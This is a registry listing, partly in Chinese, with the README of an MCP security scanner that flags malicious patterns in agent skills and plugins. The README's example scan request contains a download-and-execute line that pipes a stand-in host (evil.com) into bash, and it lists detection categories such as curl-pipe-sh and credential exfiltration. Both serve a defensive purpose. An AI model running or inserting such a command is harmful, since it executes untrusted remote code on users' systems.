Skill Audit Mcp

io.github.eltociear由 GitHub 账号 eltociear 发布v1.2.0更新于 Oct 24, 2026

MCP server: static security scanner for MCP servers, agent skills & plugins. 17 attack patterns.

发布方自己的服务:audit.domains - Domain Valuation

已验证Streamable HTTP可网页运行位置与生活网页搜索与抓取安全与监控

概览

AI 生成的概览

静态安全扫描器,让助手检查 MCP 服务器、智能体技能和插件中的恶意行为,另附地名、地震、节假日等免费查询工具。

可以做什么
扫描粘贴的文本或抓取的网址,识别凭据外泄、下载并执行、提示注入、助记词收集等恶意模式,给出严重级别和风险评分(audit_skill_text、audit_skill_url)。列出运营方的付费 API 路由与价格(paid_catalogue)。查询地点:地名转坐标、海拔、空气质量和公共假日。查询公开数据:USGS 近期地震和世界银行国家指标。搜索实时网页,并把网址抓取为干净的 Markdown。
适用场景
适合在加载陌生的 MCP 服务器、技能或插件之前做检查,或在审查环节让助手评估第三方代码的风险行为。查询与搜索工具属于附带功能,可用于地点、灾害、假日和国家统计类问题。
运行要求
可作为远程 streamable HTTP 端点运行,也可作为本地进程运行(Python 3.8+ 标准库,或通过 stdio 使用已发布的容器镜像)。未声明认证、环境变量或请求头。网页搜索、读取网址和公开数据源需要网络访问。
安装前请注意
扫描基于模式匹配,可能误报,结果需人工复核。audit_skill_url 和 read_url 会抓取任意网址。该服务器还宣传基于 Base 上 USDC 的 x402 付费路由和付费审计服务;MCP 工具据称免费,但付款前请先确认。

安装

在 SourceWeft 中

  1. 打开 控制台中的 Skill Audit Mcp,将其添加到工作区。
  2. 为需要使用其工具的对话启用该服务。

Web executable,通过 Streamable HTTP。 远程服务在工作区中配置后即可从网页运行时运行。

交给智能体安装

把这段提示词粘贴到 Claude Code、Codex、Cursor 等智能体,或 SourceWeft 对话中。智能体会读取该服务器的安装指南,先向你展示发布者、端点和登录方式,经你同意后再把它添加到你的客户端。密钥不会写进任何命令。

阅读 https://sourceweft.com/mcp/io.github.eltociear%2Fskill-audit-mcp/install.md,并按其中说明把这个 MCP 服务器接入我的客户端。修改任何配置之前,先告诉我它的发布者、端点和登录方式,等我确认。不要把 API 密钥写进命令或我会提交的文件;问我密钥应从哪里获取。

查看智能体所依据的安装指南

其他 MCP 客户端

把它添加到你客户端的 mcpServers 配置中。

{
  "mcpServers": {
    "skill-audit": {
      "type": "http",
      "url": "https://eltociear-skill-audit.hf.space/mcp"
    }
  }
}

README

skill-audit-mcp

[smithery badge] [MCP Registry]

Static security scanner for MCP servers, AI agent skills, and plugins. 17 attack patterns (65 regex signatures) across 4 severity levels. SARIF output → GitHub Code Scanning. Ships as a CLI, GitHub Action, multi-arch Docker image, MCP server, and hosted x402 API.

[Glama MCP server] [GitHub Action] [Docker] [License: MIT] [Attack patterns] [Scanned]

⚡ Try it in 30 seconds

bash
# Option A: Docker (zero install, works anywhere)docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 --path /work
# Option B: Hosted API (pay-per-scan, no signup)curl -X POST https://eltociear-skill-audit.hf.space/audit \  -H "Content-Type: application/json" \  -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'
# Option C: GitHub Action (CI/CD) — see below

📡 Featured in

Cross-referenced from the discovery channels that AI/security engineers actually read:

Four ways to use:

1. GitHub Action (CI/CD)

Add to your workflow to automatically scan PRs:

yaml
name: MCP Security Auditon: [pull_request]
jobs:  audit:    runs-on: ubuntu-latest    steps:      - uses: actions/checkout@v4      - uses: eltociear/skill-audit-mcp@v1        with:          path: '.'          fail-on: 'HIGH'

With SARIF upload (shows findings in GitHub Security tab):

yaml
      - uses: eltociear/skill-audit-mcp@v1        with:          path: '.'          sarif: 'results.sarif'      - uses: github/codeql-action/upload-sarif@v3        if: always()        with:          sarif_file: 'results.sarif'

2. CLI

Standard-library Python 3.8+, nothing to install. (Not on npm yet — earlier versions of this README said npx @eltociear/skill-audit-mcp, which never resolved.)

bash
git clone --depth 1 --branch v1.2.0 https://github.com/eltociear/skill-audit-mcpcd skill-audit-mcp
python3 cli.py --path ./server.py                  # scan a filepython3 cli.py --path ./some-skill/                # scan a directorypython3 cli.py --path . --json                     # JSON outputpython3 cli.py --path . --sarif results.sarif      # SARIF outputpython3 cli.py --path . --fail-on HIGH             # exit 1 on HIGH or CRITICAL

Findings are labelled by where they live. production decides the exit code; documentation and test are reported but do not fail the scan unless you pass --include-nonproduction. Files an agent reads as instructions — SKILL.md, AGENTS.md, CLAUDE.md, .cursorrules, anything under .claude/commands|agents|skills/ or .cursor/rules/ — count as production: for a skill they are the program, not notes about it.

3. MCP Server (Claude Desktop / Cursor)

Add to your MCP config:

json
{  "skill-audit-mcp": {    "type": "stdio",    "command": "python3",    "args": ["path/to/scanner.py"]  }}

Then ask Claude: "Audit this MCP server for security issues"

What it detects

SeverityPatterns
CRITICALDownload & execute (incl. base64 -d | sh), credential exfiltration (incl. a secret file handed to curl/nc), key generation, sensitive directory write, seed phrase harvesting
HIGHArbitrary code execution with dynamic input, auth bypass, identity impersonation, prompt injection
MEDIUMPrivilege escalation (world-writable modes, elevated-access requests), obfuscation
INFOExternal downloads, skill installation, unknown API calls, data collection, external URLs, broad filesystem access — reported as context, never scored

Risk scoring

The level is the highest-severity finding present — one credential exfiltration is CRITICAL no matter how clean the rest is. The 0-100 score is magnitude only. Findings on comment lines, in pattern literals and in markdown tables are reported but demoted when they need execution to do harm.

Sister project — secrets-audit-mcp

For leaked credentials and API keys (vs behavioral patterns covered here), see secrets-audit-mcp — 32 provider rules (AWS / GCP / GitHub / Stripe / OpenAI / Anthropic / Slack / Discord / Telegram / npm / Docker / Web3 / private keys). Same zero-dep, single-file stdio MCP server design.

LayerServerDetects
Behaviorsskill-audit-mcp (this)curl-pipe-sh, prompt injection, exfiltration (17 patterns)
Secretssecrets-audit-mcpleaked keys/tokens/PEMs (32 rules)

Run both for full coverage.

4. Docker (offline, multi-arch)

Zero-install scanner image at ghcr.io/eltociear/skill-audit-mcp:v1 — linux/amd64 + linux/arm64.

bash
# Scan the current directory, fail on HIGH or higherdocker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \  --path /work --min-severity MEDIUM --fail-on HIGH
# Get SARIF for upload to GitHub Code Scanningdocker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \  --path /work --sarif-output /work/audit.sarif

5. Hosted API (x402 pay-per-scan)

No signup, no account. Pay $0.01 USDC per scan via x402 micropayment on Base: the endpoint answers 402 with a payment challenge, your agent's wallet settles it, and the scan runs. A GET on the same path returns the price without spending anything.

bash
curl -X POST https://eltociear-skill-audit.hf.space/audit \  -H "Content-Type: application/json" \  -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'
# Or by URL:curl -X POST https://eltociear-skill-audit.hf.space/audit \  -H "Content-Type: application/json" \  -d '{"url": "https://github.com/some-org/some-mcp-server"}'

First call returns HTTP 402 with a payment requirement (x402 v2 protocol). Settle via @bankr/cli, then retry.

6. pre-commit hook

Add to your .pre-commit-config.yaml:

yaml
repos:  - repo: https://github.com/eltociear/skill-audit-mcp    rev: v1.2.0    hooks:      - id: skill-audit-mcp

Hire me for an audit

Need a deeper review than the automated scanner can give? I take freelance MCP / AI agent security audits at three tiers:

TierPriceDeliverable
Spot scan$500Full repo scan + 1-page risk report with prioritized fixes
Standard$2,000Manual review + PoC for HIGH/CRITICAL findings + remediation PR
Engagement$5,000+Pentest, threat model, retest after fixes, 30-day Slack support

Track record: the entry files of 196 public MCP servers scanned; 194 clean, 2 surfaced findings for review, false-positive rate driven 14.8% -> 1.0% first. A whole-repository scan flags far more (18% of 109 registry servers sampled 2026-09-29), mostly documented installers and tool code that a human should glance at (method and results) (reports prepared for bytebase/dbhub, mysql_mcp_server, applescript-mcp, docker-mcp).

Email: [email protected] (subject: "MCP audit")

Or buy a one-off MCP Security Audit Report ($5) directly: polar.sh/eltociear.

Sponsors

If skill-audit-mcp saved your bacon — or you just want to keep new detection rules shipping — I happily accept sponsorships:

Security

Found a vulnerability in skill-audit-mcp itself? Report via private security advisory — see SECURITY.md for the response timeline.

Found a vulnerability in a third-party MCP server using skill-audit-mcp? Report it to that project's security policy or via huntr.com.

Star history

[Star History Chart]

License

MIT

Free MCP vs paid x402

This MCP server is free. For server-side / batch / no-install use, the same scanner is a pay-per-call x402 HTTP API: POST https://eltociear-skill-audit.hf.space/audit ($0.01 USDC on Base) and /audit/url ($0.03). In the official MCP Registry as io.github.eltociear/skill-audit-mcp.

Also hosted on the Apify Store (Repo Security Scanner) — no install, scan a whole GitHub org or repo list, pay per repo.

Professional audit services

Maintained by the same author — paid services on Polar (Stripe checkout):

Full catalog: polar.sh/eltociear

Also live: clean-read ($0.005 / call)

Same operator, same x402 rails: clean-read turns any URL into clean Markdown for AI agents — fetches the page, strips nav/ads/boilerplate (trafilatura), returns the main content with title and word count. POST https://eltociear-skill-audit.hf.space/read — $0.005 USDC on Base, no signup.

来源:README.md,提交 498bb38

工具

11

paid_catalogue

List the paid API routes this same server offers, with prices and which ones need no input. The MCP tools here are free and general-purpose; the paid routes are specialised (on-chain token safety, live DEX prices, wallet intel, supply-chain scans). Payment is x402 over USDC on Base — no account or API key. Takes no arguments.

无需输入参数。

air_quality

Current air quality for a place: PM2.5, PM10, ozone, NO2, SO2, CO and dust, plus the US and European AQI and the US AQI band ('Good', 'Unhealthy'). Takes a place name — no coordinates needed. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)

输入参数location必填

geocode

Resolve a place name to coordinates, country, admin region, timezone, elevation and population. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)

输入参数name必填count

earthquakes

Recent earthquakes from the USGS feed — worldwide, or within a radius of a named place. Returns magnitude, depth, tsunami flag and felt reports. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)

输入参数dayslimitlocationradius_kmmin_magnitude

public_holidays

Public holidays for a country and year, with local names and a past/upcoming flag. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)

输入参数yearcountry必填

country_indicator

World Bank time series for a country: gdp, gdp_per_capita, population, inflation, unemployment, life_expectancy, co2_per_capita or internet_users. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)

输入参数yearscountry必填indicator

elevation

Ground elevation in metres for a place name. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)

输入参数location必填

read_url

Fetch a URL and return its main content as clean Markdown, boilerplate stripped. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)

输入参数url必填

audit_skill_text

Scan text — an agent skill, MCP server source, or plugin — for malicious behaviour before loading it. 17 attack patterns / 65 regex signatures across 4 severity levels — credential exfiltration, download-and-execute, prompt injection, command execution, seed-phrase harvesting and more.

输入参数content必填

audit_skill_url

Fetch a URL and scan what it serves for malicious behaviour. 17 attack patterns / 65 regex signatures across 4 severity levels — credential exfiltration, download-and-execute, prompt injection, command execution, seed-phrase harvesting and more.

输入参数url必填

版本历史

2
  1. v1.2.0最新Sep 30, 2026
  2. v1.1.0Sep 16, 2026

评分

已满足适用检查项的 100%

该评分衡量此收录条目的完整程度,依据注册中心条目、端点与公开来源计算得出。它不是对服务器本身的评价,也不表示服务器安全或当前可用:可连通性是带日期的检查结果,评分也不包含安装量或用户评价。

  • 近 30 天内可连通必需25 分
  • 已声明认证方式必需10 分
  • 已列出工具必需15 分
  • 描述必需15 分
  • 图标10 分
  • 文档15 分
  • 许可证10 分

其他 Audit 集成